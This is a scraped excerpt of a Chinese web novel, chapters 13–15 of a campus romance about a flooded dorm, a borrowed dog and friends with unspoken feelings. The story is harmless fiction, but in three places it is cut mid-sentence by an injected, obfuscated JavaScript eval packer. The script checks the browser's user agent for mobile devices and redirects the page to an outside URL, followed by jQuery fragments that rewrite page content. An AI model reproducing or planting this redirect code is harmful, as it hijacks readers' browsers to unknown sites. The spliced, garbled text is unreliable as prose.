有压迫感的视线下,徐徐后退到角落,像一朵可怜的小蘑菇一样蹲着了。 “明天柏尧去。”谢定仪走过来,“您二位保镖也别带了,我和柏尧会与世昕谈谈,想看热闹随意,但您二位都是公众人物,别闹上热搜就好。” 两位抓马女王已经在脑海里把明天的大戏热演了好几遍,然而谢定仪一语中的,只有退而求其次,选择见机行事。 当天晚上,谢家的司机把白晓元送回了学校,第二天是周六,但是霍世昕在校还有不少事,谢定仪便和白晓元在说好了,说下午来学校里接他,然后一起去公寓找霍世昕,然后晚上一起吃个饭,聊一聊。 第二天下午,谢定仪如约在农学院宿舍楼下等白晓元,他还是开的他那台劳斯莱斯闪灵,只不过旁边还停着一台一边印着奥特曼,一边印着水兵月的埃尔法保姆车。 “妈妈,我还有机会当小白哥哥的小舅子吗?”小表弟缸豆在车窗前探头探脑,他花了一晚上才弄清楚小舅子和大舅哥的区别,已经铭记于心,对真大舅哥谢定仪的恐惧又加深了一分。 “不知道啊。”小姨全副武装,带着墨镜头上围着丝巾,也不断朝宿舍楼门口张望,“小白怎么还不下楼。” 谢妈低下头,打开微信:“等下,我问问初夏。” 过了一会儿,她才收到回信。 “啊呀,不好了。”谢妈说。 小姨连忙问;“怎么了?” 谢妈让司机打开车门下了车,有些焦急的看着宿舍口:“小白的宿舍被淹了,好像挺麻烦的,说去不了小霍那里了,还说要临时换宿舍。” “啊,宿舍被淹了?”小姨愣了,这现实生活当真比剧本还曲折啊。 她也下了车,正看到白晓元下楼来,倒霉孩子身上全是水,已然绝望了。 “怎么了,这是。”小姨和谢妈连忙走过去,掏出包里的纸巾给白晓元擦水,“宿舍怎么被淹了?” “是楼上那间水管突然爆了。”白晓元恹恹的,“楼上住的是大四的学长,他们都外出实习没住校了,今天早上我室友就发现天花板开始漏水,但没注意,我们中午去聚了个餐回来,寝室就被淹了,刚刚后勤处的老师和辅导员都来了,说我们要换宿舍。” 小姨问:“那你的书啊,电脑这些都没问题吧?” 白晓元苦着小脸:“电脑倒是还好,但是书和笔记作业还有被子鞋子被打湿了好多,都要晾晒烘干了,还有就是临时宿舍也很难调配,说是这学期来了很多新生,把临时宿舍都占用了,后勤老师说,可能会差一两个床位,她说看看能不能把我们安排去校招待宾馆住。” 谢定仪问:“宿舍重装要多久?” 白晓元说:“估计至少要一个月了。” “住什么招待宾馆呀。”谢妈说,“这不正好吗,就住我们家去,把瓢儿白带上。” 小表弟在一边插嘴:“可是瓢儿白现在都还没偷到呢。” “就你多嘴。”小姨捏了捏自己儿子的脸蛋,“什么叫没偷到,这不马上就要去偷吗?” 谢定仪看了一眼时间,说;“今晚可能真没时间了,得帮小白把宿舍收一下。” “那肯定是霍世昕哥哥出手了!”小表弟脑海里的剧情开始万马奔腾了,“要不怎么这么凑巧,我们刚要去偷瓢儿白,小白哥哥的宿舍都被淹了呢?” 他突然听到身后的谢定仪咳了一声, “是是是,是我隔山打牛,一拳锤爆你小白哥哥楼上的水管,让你们今晚偷不了狗。”身后一个高大的身影渐渐逼近,然后在缸豆的背后停下,然后弯下腰,微笑:“你说对不对,缸-豆-小-朋-友?” 小表弟只觉得后脖处一紧,顿时汗毛倒数,回头一看是霍世昕,吓得尖叫一声跑到最近的谢定仪身后,再一想,不对啊,这是他更吓人的表哥啊,又立马狂奔到白晓元身后躲着了。 被戳穿要偷狗的小姨和谢妈都有点微微的尴尬。 “是小霍啊。” “姨妈,小姨。”霍世昕给两人打过招呼,然后看向一边的白晓元,白晓元还在生他的气,撇过头没理他。 他再看向谢定仪,谢定仪倒是没什么表情,问他:“你怎么来了?” “我农学院的朋友给我说,小白的寝室被淹了,我过来看看。”霍世昕双手抄着工装裤的裤袋,下巴朝楼上点了点,“现在情况怎么样?” 谢定仪说:“听说东西都淹了不少,小白他们要另外找宿舍或者住处。” “那上去看看吧。”霍世昕说。 “对,先上去看看。”谢妈和小姨连忙说道,两人转身准备去宿管那里登记,却见霍世昕抄着裤袋不疾不徐地和她们擦身而过,“小姨您换保姆车了?” 小姨不明所以:“诶,对啊,你怎么知道,我刚换的。” “车贴和您前后两个微博头像同步了。” 他停下,转过头露出一个迷人的微笑:“您的粉丝应该都在路上了。” 小姨:“?” 她和谢妈对视一眼,两人立马和谢定仪打了声招呼,回车上让司机把车开走了,两人虽然抓马,但并不想耽误大学校园正常秩序。 干扰者减二。 剩下一个是谢定仪。 有些难解决,不过也不是没有办法。 三人前后上楼,谢定仪走最前面,白晓元在中间,霍世昕在最后。 他和白晓元只见保持着一段微妙的距离,然后在转角处,不经意的将两人的距离缓缓拉进,直到走到白晓元,两人并排上了几层楼,他才漫不经心地对白晓元开了口。 “去我那里住吧。” 13. 2.9个直男 “你谁啊,我和你很熟吗?” 白晓元看也不看霍世昕,继续昂着头往前走,脚下还特意加快脚步。 ——还在生气。 霍世昕也不着急追了,就这样慢悠悠跟在白晓元身后,只听楼上的的白晓元叫了好几声“初夏哥”追上前去。 他心里莫名就有点不爽了。 就在这时,霍世昕突然听到楼下有些动静,他驻足听了一会儿,听起来像是几个学生和一个小孩儿的声音,顿时知道了是谁。 他向下看了一眼,果然看到一个圆溜溜的脑袋探头探脑往楼上看,不就是刚刚在宿舍门口嚷嚷着是他徒手捏爆农学院宿舍楼水管的小屁孩吗。 挺好,霍世昕心想,就是你了。 狗都嫌的小表弟一看是霍世昕,连忙把脑袋缩回去,只听一阵慌忙的脚步声,人又不知道躲哪儿去了,他马上给谢定仪打了一通电话。 “你表弟跟着小姨她们上车了吗?” 谢定仪说:“应该——吧?” 听起来也不太确定。 霍世昕说:“那估计是没上车,我现在在三楼,刚刚听到楼下有小男孩说话的声音。” 谢定仪:“?” 谢定仪:“你等我一下,我马上下来。” 过了一会儿,谢定仪急匆匆下了楼:“缸豆人呢?” 霍世昕抬起大拇指,朝身后楼下的方向指了指。 “你先上楼帮小白收拾东西。”谢定仪有点着急又有点生气,“我下楼去看看什么情况。” "行。"霍世昕心满意足地迈开长腿,手抄着裤袋轻松地一步跨了两层楼梯,“老二,别在楼下打孩子啊。” 谢定仪:“?” 霍世昕说:“要打拧上来一起打。” 谢定仪:“……” 这人还挺记仇。 干扰者再-1。 偷狗联盟正式宣告瓦解。 没了谢定仪插手,霍世昕那是如鱼得水,悠闲自在,他三两步就在七楼的走廊追上了白晓元,白晓元还是没理他,就拿圆圆的后脑勺对着他。 “孩儿他妈。”霍世昕开玩笑,“真就不管孩子了?” 白晓元背对着他,听到这话肩膀忍不住抽了一下,明显是在生气,可能是考虑到自己嘴炮从来没赢过霍世昕,脾气忍住了,就“哼”了一声,继续往前方寝室走。 霍世昕就跟他后面。 “世昕哥哥呢,是很好说话的,霍世昕那可能确实不太好说话。” 白晓元又停了一下,还是忍了,继续朝前面走。 “看来是听不到有人叫我世昕哥哥了。”霍世昕故意叹了口气,白晓元正好走到寝室前方,从后面看过去,他耳朵都红透了,想来一路上被霍世昕逗弄也要忍不住了。 霍世昕心里好笑,他站在白晓元身后,摸了摸下巴,说:“既然如此,要不这样,换我叫你?让我想想,小时候我是怎么叫你的——” 他话还没说完,忍无可忍的白晓元转过身,指着他的鼻子说。 “霍世昕,你不把瓢儿白还给我,我是不会原谅你的!”说完白晓元转过身,用力把寝室大门一推—— 门内有动静。 电光火石之间,霍世昕突然察觉到门内有些不对劲,他脸上玩世不恭的笑容瞬间消散,目光陡然一沉,大步一跨,直接伸手把白晓元护在怀里,弯腰挡住了从天儿降的水桶。 幸好,水桶是贴着他和白晓元的身体砸下来的,然而脏水还是泼了霍世昕一身。 “完了完了!”白晓元两个室友拿着撑衣杆目瞪口呆地站在门后,宿舍大门的上方有个挂墙的电风扇,前几届学长在宿舍还没装空调时在风扇旁边加装了冰盒,因为天花板漏水,电扇和冰盒里存的全是水,两个室友在白晓元下楼时,便琢磨着先用撑衣杆,把电风扇和冰盒里的水弄出来,以免到时候漏电。 两人正用撑衣杆往水桶里扫水,没想到门突然被打开了,挂在撑衣杆上的水桶直接就砸了下来。 “砰——”水桶落地的声音惊醒了两人,他俩连忙迎上去,“没事吧,你两没事吧?” “我没事。”霍世昕放开手,低头看向怀里的白晓元,看到他好好的,心里松了口气。 白晓元还有点懵,两个室友拿着纸巾过来给他们擦水,他才反过来,连忙看向身后;“啊,砸到你了没有?” “没有。”霍世昕抬起胳膊闻了闻袖子,眉头皱起来,又抬头看了一眼电扇,“你们寝室这电扇,有多久没洗了?” 室友看到霍世昕一身脏水也怪不好意思的:“大概、可能、四五年了吧……” 霍世昕无语:“你们确定就四五年?” 水大部分都泼在了霍世昕的背上和头发上,他穿的是件BALENCIAGA的黑T,水渍倒是不明显,就是味道确实不太好闻。 霍世昕走回大门口,伸手就把电扇下挂着的冰盒取下来,凑近一看:“哦?康复新液,难怪味道这么重。” 两个室友凑近一看,我去,里面好大几只飞天大蟑螂。 “对不起对不起。”两个室友连连道歉,白晓元把手臂上不多的脏水擦了,马上转身去翻衣橱,“你等等,霍世昕,我给你翻件干净衣服,你赶紧换一换。” 一个室友说:“小白你别翻了,你这小身板你发小也穿不了你的衣服,他那么高。” “对对对。”另一个室友擦了手,准备去隔壁,“我去借一件,霍世昕穿不了你的衣服的,小白还是赶紧收你的桌子。” 寝室里乱成一锅粥,地上桌上全是水,被泡了的鞋子,书,还有各种日用品,隔壁几间宿舍的桶和盆全都被借来了,放在地板上接着天花板上往下滴的水。 “算了,不用借了。”霍世昕从白晓元桌上拿起一瓶没开封的矿泉水,问白晓元,“你喝吗?” 白晓元摇头:“不喝。” 霍世昕拧开瓶盖仰头喝了两口,然后拧着矿泉水去了阳台,他把矿泉水放水池边,双手牵着T恤下摆直接把T恤脱了,然后拿过躬下身,一手撑着水池,另一手拿过一边的矿泉水浇在了头发上。 白晓元:“=口=” 室友们:“=口=” 水流沿着霍世昕的黑发,后颈,脊椎滑下来,然后又贴着饱满的肌肉线条顺流而下,或是滴在地上,或是沿着人鱼线和腹肌,没入工装裤的裤腰中。 霍世昕起身,他甩了甩头发上的水,抬起手将湿漉漉的黑发向后捋去,露出额头和俊美的眉眼。 “小白。”一个室友喃喃道,“你发小是真他一妈帅得人神共愤啊!” 白晓元:“……” 他在霍世昕脸上,胸肌处看了两眼,然后不服气又热着脸回头去。 哼,又开屏了。 霍世昕把大几千的T随手搭在水池边,裸着上身走过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438348|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问两个室友:“后勤那边怎么说?” 室友说:“不就是让我们现在宿舍收东西喽,收完搬其他宿舍,我们还有个室友去行政楼拿钥匙了,我们估计要分开和大一的新生一起去6号楼住,还有个人要去住学校的接待宾馆 ,总之都挺麻烦的。” 霍世昕说:“接待宾馆离农学楼和你们试验田不都挺远的?” 室友说:“那也没办法啊,到时候去租个电瓶车吧。” “电瓶车也不太方便,不如让小白住我那儿,我有车,送他上课也方便。”霍世昕看向白晓元,“怎么样?” 白晓元:“??” 他看向两个室友,两个室友却一脸期待地看着他。 “我觉得可以。”室友说,“你们是发小嘛,又不是陌生人。” “就是,把元元交给霍公子我是放心的。”另一个室友双手合十,宛如已经把白晓元嫁出去了,“我愿意把我今天收的香蕉送给元元当嫁妆。” 白晓元阴恻恻地看向他:“……你再说一遍??” “那把我们隔壁组的鸡蛋也送你。”两个室友连哄带骗,“去嘛去嘛,老话不都说了吗,宁愿坐在法拉利上哭,也不愿意坐在电瓶车上笑,马上天凉了,骑电瓶车冷飕飕的,不如坐法拉利,再说了,你发小舍得让你哭吗。” 霍世昕笑道:“那可舍不得。” “就是就是。”两个室友替白晓元拍了板,“就这么说定了!” 白晓元:“……” 他就这样被室友们一起献祭给了霍世昕,只是被献祭的对象倒也任劳任怨帮他收东西搬箱子,博得室友一片好评。 有发自内心的赞叹:“一米九多的海拔真好啊,羡慕,大高个拿东西就是轻松。” 还想呼朋唤友过来看的:“我们A大校草的腹肌值得所有人欣赏!” “可以拍照吗?” “可以摸吗?” “你们够了啊!注意点形象可以吗?”白晓元忍无可忍,就怕室友们添乱把隔壁的同学都叫过来把霍世昕看光了,立马跑去把门关上了。 他可不想让霍世昕的半裸照明天就在龙鲤湖畔刷屏。 “你们是基佬吗,看到个身材好的就叫唤。” 白晓元把室友赶到阳台上去晾衣服,然后把阳台门拉上了,瞪着霍世昕:“还有你。” “我怎么了?”霍世昕逗他,“白给你看你不看?” “还白看??”白晓元指了指霍世昕裤腰处,怒道,“你没发现你这里——这里牙印还没消吗?” “有吗?”霍世昕低头,好像还真有,就是被裤腰遮住了看不清,他直接勾着裤绳把工装裤往下拉了点,仔细一看,说,“哦,还是你上次咬的。” “砰——” 门突然又被推开了,不是别人,正是小表弟缸豆。 谢定仪在楼下绕着宿舍楼追了他两圈才把他抓到,把他扔车里又不放心,只好带楼上来。 奈何小屁孩死活不肯和他一起上楼,直接撒腿就先冲上来了,打算抱白晓元的大腿。 没想到门一打开,就看到令他震惊的一幕。 “表哥!”缸豆扒着大门,大喇叭精附体一样朝楼道口的谢定仪叫道,“表哥你快来啊!小白哥哥宿舍里有个男的不穿衣服!” 然后再看一眼,叫的更大声了:“表哥表哥你快来啊,那个男的都把裤子拉开给小白哥哥看了!” 14. 2.9个直男 缸豆这一嗓子,让上下三层楼的老农民们都倾巢出动了。 农学院平日里的八卦就离不开那一亩三分田,比如甲师兄养的羊啃了乙师兄种的玉米,两人在地里大打出手压坏了隔壁丙师兄一片麦子田,最后变成三人大混战。 又比如钓鱼佬在试验水库里钓走了师姐的毕业论文,师姐气不过自学画符挂在水库边,大咒钓鱼佬谁钓一辈子空军,因为符咒过于灵验被钓鱼佬口口相传以至师姐半路出家玄学事业爆红。 最最轰动全院的一件八卦,还是某次大暴雨淹了实训楼,老师们领头,全院农学生集体出动,满学校抓鸡鸭猪鹅,引得全校围观。 追溯到上一件八卦,还是白晓元和霍世昕在农学楼吵架,但这不是只属于农学院的纯血农字号八卦,霍世昕本来就是个八卦体质。 总之,整个学院属于往上翻几代都翻不出一件不那么接地气的八卦,直到两年前迎来了白晓元。 豪门小公子读农学院本来就令人惊讶了,开学时农学院宿舍楼下送他上学的大奔车队也足够轰动,加上他又有三个同是豪门出生的发小那年也入学,老农民们还以为至少自己终于有瓜吃了,结果白晓元一不谈恋爱,二不炫富,衣食虽贵,生活根本见不到奢侈品logo,属于上网认真搜了才会惊呼“我去,小白这衣服这么贵”的低调品牌,其他学院的吃瓜人都能在学院楼下看到法拉利看到劳斯莱斯了,白晓元就蹬着个小三轮儿拉着自己的苹果苗开开心心去试验田。 所以一听有人喊农学院宿舍楼里来了个不穿衣服的男的,在宿舍的学生全跑来看八卦了。 ——咱们老农民出息了啊,都走在时代前沿,搞上男人了! 不出意料的是,这飓风级八卦的男主角还是被赋予厚望的白晓元。 老农民们把白晓元宿舍门口挤得水泄不通,仔细一看。 “嚯,好大一只肌肉裸男!” 再仔细一看,这不是老熟人霍世昕吗? 又又又仔细一看,小白你不得了啊! 平常看起来乖乖的,结果花花公子霍世昕的裤绳还勾在白晓元这狂徒的手指上。 宿舍门口都沸腾了! 被挤得东倒西歪的缸豆都快站不稳了,焦急地向后叫着“表哥表哥”,然而谢定仪只能无语地在人群外,他压根什么也看不见什么也听不着。 吃瓜老农们都迫不及待地吃上一手瓜了。 “小白,你和你发小干嘛呢?” “等下,是谁喊的有人拉裤子给小白看的?这不是小白主动的吗?” “这波,这波是双向奔赴啊。” 白晓元愣了一下才把手里的裤绳松开,他脸皮薄,一听有人说他和霍世昕有点什么,立马急了。 “你们别瞎说好吗?”白晓元脸都急红了,“没看到我们宿舍漏水吗,我在给他擦水!” 他生怕门口的人不信,向后指着刚打开阳台门却发现全是人的两位呆若木鸡的室友:“我室友都在呢,我能和霍世昕干什么啊!” 众人一脸不信。 小表弟缸豆就是吃瓜老农的完美嘴替,他也不懂擦水和拉裤绳的关系,但他是真的敢问。 “可是小白哥哥,你给霍世昕哥哥擦水,为什么要把手伸进他的裤一裆里?” 白晓元:“???” 雾草你这熊孩子,我什么时候把手伸霍世昕裤一裆里了! 再转念一想,不对,还真是,他刚刚是想看霍世昕腹肌下面还有没有留下其他牙印,因为是发小,他也没在意,导致手比脑子还快,问着霍世昕“你下面还有吗”,就把霍世昕的裤绳给拉了。 霍世昕还真配合,他拉霍世昕裤绳,霍世昕竟然还帮他。 ——这事儿总归是解释不清了。 白晓元人都要晕了,就在这时,霍世昕抬手搭上他的肩膀,安抚地在他背后拍了拍,面对着众人却是一脸懒洋洋的表情:“你们怎么这么多问题?” 他又看向罪魁祸首缸豆:“发小之间掏个裤一裆是什么很稀奇的事情吗?我小时候不也掏过你表哥的裤一裆,你表哥小时候也掏过你柏尧哥哥的裤一裆,不信你去问你表哥,这都什么值得大惊小怪的,掏裤一裆是男人友谊的象征,你表哥都不教你。” 众人:“??卧槽,你们F4关系这么复杂吗?” 话还是那么个话,就是从霍世昕嘴里说出来,他那张花花公子渣男脸加上无所谓的表情,说的哪里是两小无猜青梅竹马,那明明就是F4之间开impart。 小表弟缸豆又开始嚎了。 “表哥——” 人多,他对外嚎得格外大声。 “表——哥——,霍世昕哥哥说的是真的吗??你真的被霍世昕哥哥掏过裤一裆还掏过柏尧哥哥的裤一裆吗?” 所有人朝走廊外面的谢定仪看去。 谢定仪正在给凌柏尧打电话,他本来体力就差,刚刚在楼下追着缸豆绕着宿舍楼跑了两圈,又爬了七层楼,人已经要累瘫了,再一听缸豆的问题,已然没有任何动弹的想法了。 “凌柏尧,你到底什么时候来。”谢定仪蹲下来,有气无力地说,“你知不知道,我现在头真的好痛。” 最后凌柏尧还是没赶上,幸运的是天降宿管阿姨,把众人驱散了,让七楼恢复了安静。 “霍世昕,我一定会把你今天的话完完整整给你以后的每一任女朋友说的,对,你结婚时我也要在婚礼上给你老婆说。”谢定仪对霍世昕面无表情地说,“你到时候别觉得我绝情。” 霍世昕也知道今天把谢定仪拉下水很过意不去,客套地说:“没事,没事,小白都说了,什么女朋友老婆都是其次,我们四个人把日子过好比什么都强。” 谢定仪:“呵呵。” 白晓元站在一边训缸豆,今天这事全是这小破孩子一张嘴引起的,然而缸豆还在犟嘴。 “妈妈给我说了,有大人拉开裤子让我来看,不管是男的女的,我一定要大声向周围的叔叔阿姨求救!”缸豆抬着小脑袋一脸不服,“我没做错!课本上也是这么写的!” 白晓元:“……” 小姨给这小破孩子整的儿童xing教育挺好的啊,就是对象是不是有点不对? “我是我,你是你,我是大人,你是小孩。”白晓元指着旁边和谢定仪寒暄着维持破裂友情的霍世昕,“还有,你连霍世昕哥哥都认不出来了吗?” 缸豆拼命摇头:“没认出来啊!霍世昕哥哥穿衣服时根本不长这样啊!他把衣服脱了怎么就变的和妈妈在米兰认识的那个好有名的模特叔叔一样了!” 小孩子就是小孩子,不懂“穿衣显瘦脱衣有肉”,语言虽然朴素,但深得人心。 霍世昕本来是过来和白晓元打男双的,一听这话,哪儿还能对小表弟生气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438349|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他夹住缸豆的脖子,食指曲起,在他的脑门上敲了两下:“以后说话小点儿声,听到没?” 缸豆有点怕霍世昕,“哦”了一声不说话了。 就在这时,谢定仪走过来。 缸豆吓得立马躲到霍世昕背后去了。 “你晚上打算怎么办?”谢定仪指了指走廊上堆着的行李,问白晓元,“你是去我家住还是去世昕那儿?” “去我那里住。”还没等白晓元发话,霍世昕便说,“你家那么远,小白又不会开车,去我公寓住方便,而且还可以看瓢儿白。” 谢定仪转头问白晓元;“可以吗?” 经历过今天这些事,白晓元也不生气了,他点点头:“嗯!” “那就这么说定了。”谢定仪看了一下时间,差不多已经开始饭点了,便对白晓元说,“这样,你先把必须的生活用品和干净衣服带去世昕家里,其余的留下来,我让我家里的阿姨把泡了水的衣服床单都帮你洗了。” 霍世昕估了一下白晓元的行李,说:“你的车估计装不下,明天我让我司机来拖。” “没事儿,柏尧快到了,他的车能装。”谢定仪说,“你们先回去吧。” 然后他又看向躲在霍世昕身后鬼鬼祟祟的缸豆;“还有你,接下来老实点,别给我惹事。” 缸豆哭丧着脸说:“好哦……” 白晓元和霍世昕先离开了,白晓元的室友也陆陆续续都去安排的新宿舍了。 谢定仪从宿舍里拿了个凳子,又在白晓元的书架上随便翻了本书,在走廊上坐下来消磨时间。 只是看一会儿,他就要瞟一眼旁边鬼鬼祟祟的缸豆。 这小破孩子也是个不省心的,坐也坐不住,想搞点事,在谢定仪面前又不敢。 “去把地拖了。”谢定仪看也没看他,放下长腿,又换了个舒服的姿势,把手里的书翻了一页,“阳台有拖把。” “哦……” 缸豆老实地跑到阳台拿了拖把,坑次坑次开始拖地。 太阳渐渐西沉,已经入秋了,晚风吹在身上很是舒适,还能闻到楼下桂花的味道。 谢定仪看完小半本书,觉得有点累了,便把书放下来,伸了个懒腰,起身走到围栏边。 宿舍楼楼下便是停车场,一部分划了车位,一部分是电瓶车棚。 谢定仪手搁在围栏,看着下课的人群,无聊地等着凌柏尧。 不过多时,一台黑色的大G缓缓驶入停车场,在谢定仪的视野中熟练地倒车入库。 ——终于来了,谢定仪心想。 驾驶座车门打开了,凌柏尧下了车,他的身高和外貌在人群中很是吸睛,周围不少人朝他看过去。 谢定仪也在看他。 如果他们心有灵犀,那他们会在人潮中,不惧空间的距离,彼此遥望一眼。 但没有。 凌柏尧也没有上楼,他走到副驾旁,拉开了车门。 车上下来一个女孩子,长发披肩,白色连衣裙,远看就知道是一个很漂亮的女孩子。 谢定仪就这么静静看着这个女孩子从凌柏尧的车上下来,和凌柏尧站在楼下说着话。 他的心跳异常平静,也没有一丝波澜和情绪,总得说来,其实也没什么,只不过是在这日常的时光里,日复一日地认清一个既定的事实。 ——哦,凌柏尧是喜欢女孩子的。 15. 2.8个直男 凌柏尧很快就和那个女孩分开,临别前,他还向楼上看了一眼,然后才上了楼。 谢定仪还在走廊上看书,他手搭着椅背侧坐在椅子上,闲适地翘起长腿,书页在手里沙沙地翻着,享受这一刻闲暇时光。 “我刚刚在楼下好像看见你了。”凌柏尧走过去,视线在周围的一堆破烂和行李日用品之间扫了一圈,“小白的东西都在这里?” “这些。”谢定仪把手里的书翻了一页,目不转睛地抬起手在身侧的地方画了一圈,“那两个日默瓦的箱子,还有旁边的一叠书,两套床品,其余都是他室友的。” “就这些?” “其余世昕都帮他搬走了。” “行,你先坐会儿,我先把这些拿我车上去。”凌柏尧走过来,路过谢定仪时,从口袋里摸出两粒咸柠檬糖递给他,“刚刚一个朋友给的。” 一个朋友。 应该就是那个女孩子? 谢定仪从书前抬起头,瞥了一眼糖,没接。 “不要。”他继续低下头看书,“酸。” “先提提神,我看你都要睡着了。”凌柏尧把糖纸剥了,喂到谢定仪嘴边,“等会儿你也别开车了,坐我的车回去。” 谢定仪不情不愿地舔了一下,偏过头去,嫌弃地说。 “酸死了。” “真的很酸?”凌柏尧有些不信,把那颗谢定仪舔了一口的柠檬糖扔进嘴里,说,“还行,能接受,开车提神挺好。” 他突然察觉到两道异样的视线,低头一看,竟然是谢定仪再看他。 谢定仪问:“你不觉得我舔过的糖你再吃很奇怪吗?” “有什么奇怪的,不都是好兄弟吗。”凌柏尧把那颗柠檬糖嚼掉了,又剥了一颗扔嘴里,“不过确实不太符合你的口味。” “本来就不是送我的,人家送你提神的,你给我吃。”谢定仪低头继续看书,“不解风情的直男。” 凌柏尧以为自己迟到会惹谢定仪不高兴,他甚至在楼下就已经察觉到楼上有人在看他,不过当时在和学妹说话,所以没往楼上看,等他送走学妹向楼上一看,却没人影了。 但他总觉得谢定仪应该是看见他和学妹说话了,说不定还误会他为了送学妹放了几个兄弟的鸽子。 所以凌柏尧上楼时就已经想好怎么给谢定仪解释了,他迟到是因为学院那边有事,这事有学院公告可以佐证,加上学校临时封路,车在校外绕了一圈从另一个门进来的,他也不是因为特意送学妹所以放几个好兄弟鸽子,纯粹是顺路载了她一程。 没想到谢定仪没怎么生气,也没问他学妹是谁,倒是感觉话语之间很嫌弃他。 ——他有那么不解风情吗? 还是因为,他吃了初夏舔过的那颗糖,初夏因为太过恐同觉得不适? 凌柏尧把白晓元的行李都搬上车,一个人坐在停车场前的石墩子上想了会儿,就是怎么都没想明白,尤其是吃糖这件事,以前他喝谢定仪喝不完的奶茶,吃谢定仪吃不完的牛排,谢定仪从来没说过什么。 那应该还是他不解风情了。 凌柏尧决定改,马上就改。 A大校门口那家一到高峰期就等候一小时以上的一点点,被一位豪客钞了个大单——这位财大气粗的客人点了100杯Q/Q美莓A2奶茶,注明少茶底,常温,全糖,加椰奶冻,只做一杯就行,他只需要快,一定要快,其余钱就用来插个队,请前面的顾客喝奶茶,以及弥补一下老板的损失。 送货地址则是A大农学院宿舍楼下的一台黑色大G,车牌号还是个全是1的完美豹子号。 店员已经见怪不怪了,问旁边做兼职的同事说:“小乐,你们A大那个超有名的的谢定仪是不是真的不爱笑啊。” 小乐说:“谢学长吗?那可是有名的冰山美人,真没见他笑过。” “难怪,古有千金博美人一笑,现有100杯Q/Q美莓奶茶融化冰山美人。”店员迅速开始做这杯价值2000多的奶茶,“我们a little little也能上你们A大史书了。” 谢定仪坐凌柏尧的大G时,奶茶已经在他手边的杯架上放好了,这是他最喜欢的液体草莓牛奶糖,不过他喝得不多,因为他不喜欢排队等单。 “先喝点垫垫肚子。”凌柏尧关上后备箱的门,拉开驾驶座上了车,“你刚刚是不是被柠檬糖酸到了?” “没有啊。”谢定仪拿过奶茶插上吸管,凌柏尧则侧过身来先给他系安全带,后排的缸豆还眼巴巴等着谢定仪拿了奶茶后就轮到自己,结果伸长脖子一看,咦,就一杯啊? “我的呢?柏尧哥哥,我的呢?”缸豆开始闹了,“怎么没有我的奶茶啊!” 凌柏尧说:“我忘了。” 他是真忘了楼上还有个拖油瓶小表弟,那会儿满脑子想着谢定仪,买了一百杯奶茶都没想到给缸豆分一杯。 一听凌柏尧说忘了,缸豆闹得更厉害了。 “我帮小白哥哥拖了一下午地!我!我也是很辛苦的!” 缸豆闹完了又开始嘤嘤嘤:“我就知道柏尧哥哥心里没有我,只有我的表哥……” “你哪儿来的这么多戏。”谢定仪被吵得头疼,“坐好。” 缸豆立马坐好,还没忘可怜巴巴地吸了吸鼻子。 谢定仪外表冷淡,心还是软的,他对凌柏尧说:“先开车去校门口的牛奶店,给缸豆买个布丁。” 凌柏尧说:“行。” 他发动车子,黑色的越野车在夕阳的余晖中向校门口驶去。 路上,谢定仪才问;“你就买了这一杯?” 凌柏尧扶着方向盘,余晖在逐渐降临的夜色中,将他侧颜的轮廓勾勒的更加英挺俊朗。 “就这一杯。”凌柏尧说,“刚刚不是说了吗,我忘记给缸豆买了。” 谢定仪问:“我是说,你没给坐你车回来的那个女孩子点一杯?” 凌柏尧回头看了他一眼,微微皱眉:“我给她点干什么?” 谢定仪说:“人家送了你糖,你不回个礼?” 凌柏尧说:“顺手的事,下次碰到,我再顺手还回去就行。” 看来不是什么关系特别的朋友了。 不过不是这一个,也还有下一个,总有个女孩子会在某一天出现,然后独占这台大G的副驾。 车载香薰会换成她喜欢的味道,颈枕和安全带的护肩也会换成她的款式。 车上会出现她的头绳,她的拖鞋,口红,化妆包…… 这些本来就是女主人应该拥有的待遇。 谢定仪向后靠着颈枕,盯着前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438350|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的车挂,车内弥漫着淡淡车挂散发出来的无极乌龙香,蓝色蝴蝶结,木制扩香器,当时他是去给自己的车挑车挂,却一眼相中了这款,他觉得很适合凌柏尧。 只知道往风口上隔块舒肤佳红石榴香皂并且拒绝一切香味的凌柏尧,收到后马上挂在了车上,随后每个月,也是谢定仪给它换新的香片。 在长久的安静过后,谢定仪突然开了口;“凌柏尧,你就没想过去谈个恋爱?” 凌柏尧的回答言简意赅:“没遇上喜欢的女孩儿。” 谢定仪笑了笑:“那是你不主动。” “我上哪儿主动去。”凌柏尧说,“你别老问我,你呢?” “我吗?”谢定仪看向窗外,轻声说,“我倒是挺想恋爱了。” “有情况。”凌柏尧啧了一声,手扶着方向盘熟练地打了个转,车转了个弯,向另一条车道驶去。 “喜欢就去追,你会有追不上的?” 